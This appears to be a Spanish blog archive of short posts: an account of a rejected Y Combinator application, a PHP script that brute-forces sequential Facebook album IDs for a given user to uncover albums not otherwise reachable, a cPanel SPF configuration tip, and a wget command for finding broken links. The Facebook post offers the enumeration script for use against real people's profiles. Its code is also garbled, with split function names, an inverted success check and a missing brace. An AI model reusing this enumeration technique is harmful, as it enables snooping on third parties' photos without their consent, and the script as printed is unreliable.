Hace algo menos de un mes presentamos junto con Dani a la convocatoria de invierno de 2011 de Y Combinator.
La verdad se trata de una experiencia que todo emprendedor debería probar. A parte del interés en si por poder llegar a ser uno de los ‘elegidos’ (la estadística no es muy alentadora, pues solo consiguen entrar en torno a un 3,5% de los solicitantes), el proceso en sí te acaba permitiendo profundizar mucho más en tu propia idea y definirla de forma mucho más clara.
No era la primera vez que participábamos con Dani en un concurso de emprendedores. Ya lo habíamos hecho anteriormente formando equipo con Javi en un proyecto al que decidimos llamar ‘Blurby’ y que consistía en un peluche parecido al conocido Furby pero con posibilidades de conectividad vía internet que le permiten actualizarse, recibir software para, por ejemplo, enseñar al propietario inglés o simplemente permitir charlar con otra gente que tenga otro Blurby. En esa ocasión la presentación del proyecto la hicimos a otro Venture Partner llamado Lightspeed VP (por aquel entonces no conocíamos Y Combinator). Sin embargo, no salió bien y creo que una visión a posteriori nos permitió analizar los detalles de la negativa a nuestra propuesta (he estado a punto de poner ‘fracaso de la propuesta’ pero creo que en estos casos no hay fracasos. Las cosas simplemente no funcionan y siempre aprendes algo y por tanto, por definición es una experiencia de la que has sacado algo positivo y no simplemente un fracaso).
Con Y Combinator la cosa tampoco ha salido bien esta vez, a pesar de que desde mi humilde punto de vista, el progreso respecto a la solicitud que presentamos de ‘Blurby’ es abismal. Sin embargo, sin duda, hay aún muchas cosas que podemos mejorar y que seguro que nos permitiran en otra ocasión obtener una respuesta diferente a la de esta vez: ‘we are sorry to say we couldn’t accept your proposal for funding’.
Espero otro día poderos contar un poco más sobre el proyecto que presentamos a Y Combinator y que también podría juntarse con una idea sobre la que Javi nos hizo pensar el otro día. Sin duda, alguna de ellas o ambas (sea juntas o por separado) verán la luz en breve, así que manteneos a la escucha
Perseverar es una de las claves del éxito
Etiquetas: emprendedor, y combinator, ycombinator
El ‘hacking’ del título está entre comillas porque realmente no se trata de ninguna cosa muy espectacular. Lo que os quiero mostrar a continuación es un pequeño script en PHP que hice ya hace algún tiempo y que permite obtener la dirección de un álbum de alguien de facebook para poder verlo. Obviamente dicha persona no debe tener restringido el álbum, pues en caso de ser así no se ve nada de nada. Sin embargo, en el caso de que no esté restringido, se pueden ver álbumes completos a los que de otra forma no podríamos acceder. En definitiva no deja de ser un script para ‘deofuscación’ más que un hack.
En el script en si hay que poner tres parámetros:
- el $uid: corresponde al indentificador del usuario del que queréis buscar el álbum
- $from y $to: corresponden a los identificadores de álbum entre los que queremos buscar. Estos dos parámetros son los difíciles de aproximar. Por lo que he podido ver parece que se asignan de forma secuencial a cada álbum que se crea. La mejor forma para aproximar es buscar algún perfil con un Id cercano al que estáis buscando el álbum y que permita ver sus álbumes. Mirad el aid del álbum de dicho perfil y probad con un from y un to entre 500 más abajo y 500 más arriba (por lo menos). Este método sin duda es muy rudimentario, pero funciona. Quizá algún día automatice el script para que haga también una estimación del from y el to, pero eso será más adelante…
//Set User ID here
$uid = 4;
//Album ID to start from. 'Guessing' required...
$from = 1;
//Album ID to finish at. 'Guessing' required...
$to = 500;
$server = gethostbyname( 'www.facebook.com' );
for ( $ii = $from; $ii < $to; $ii++ )
{
sockAccess( $ii );
}
function sockAccess($ii)
{
global $uid;
$page = "album.php?aid=$ii&id=$uid";
global $server;
$errno = '';
$errstr = '';
$fp = 0;
$fp = fsockopen( $server, 80, $errno, $errstr, 30 );
if( $fp === 0 )
die( "Error $errstr ($errno)" );
$out = "GET /$page HTTP/1.1\r\n";
$out .= "Host: $server\r\n";
$out .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1";
$out .= " en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
$out .= "Connection: Close\r\n\r\n";
f write( $fp, $out );
$content = fgets( $fp );
$code = trim( substr( $content, 9, 4 ) );
f close( $fp );
if( $code != 200 )
echo "Album found!: http://www.facebook.com/album.php?aid=$ii&id=$uid\n";
if( !($ii%10) )
echo "Trying around: $ii\n";
return true;
Etiquetas: facebook, hack, image, PHP
Para las cuentas ya existentes:
ls /var/cpanel/users | while read a; do
/usr/local/cpanel/bin/spf_installer $a '' 1
done
Para las nuevas, vamos a WHM->DNS Functions->Edit Zone Templates y en el Simple y en el Standard añadimos una línea al final con:
%domain%. IN TXT “v=spf1 a mx -all”
Etiquetas: cPanel, dns, fail, Linux, spf
Vía diariolinux.com leo una receta interesante sobre como buscar enlaces rotos en una web mediante wget:
wget --spider --no-parent -r -o log.txt http://tuweb.com
En concreto, cada una de los parámetros funciona según sigue:
–spider: recorrer la web sin descargar nada.
-r: recursivo.
-o fichero: salida del comando (para que nos quede guardado en fichero)
–no-parent: no subirà a directorios padre.
Etiquetas: Linux, shell, wget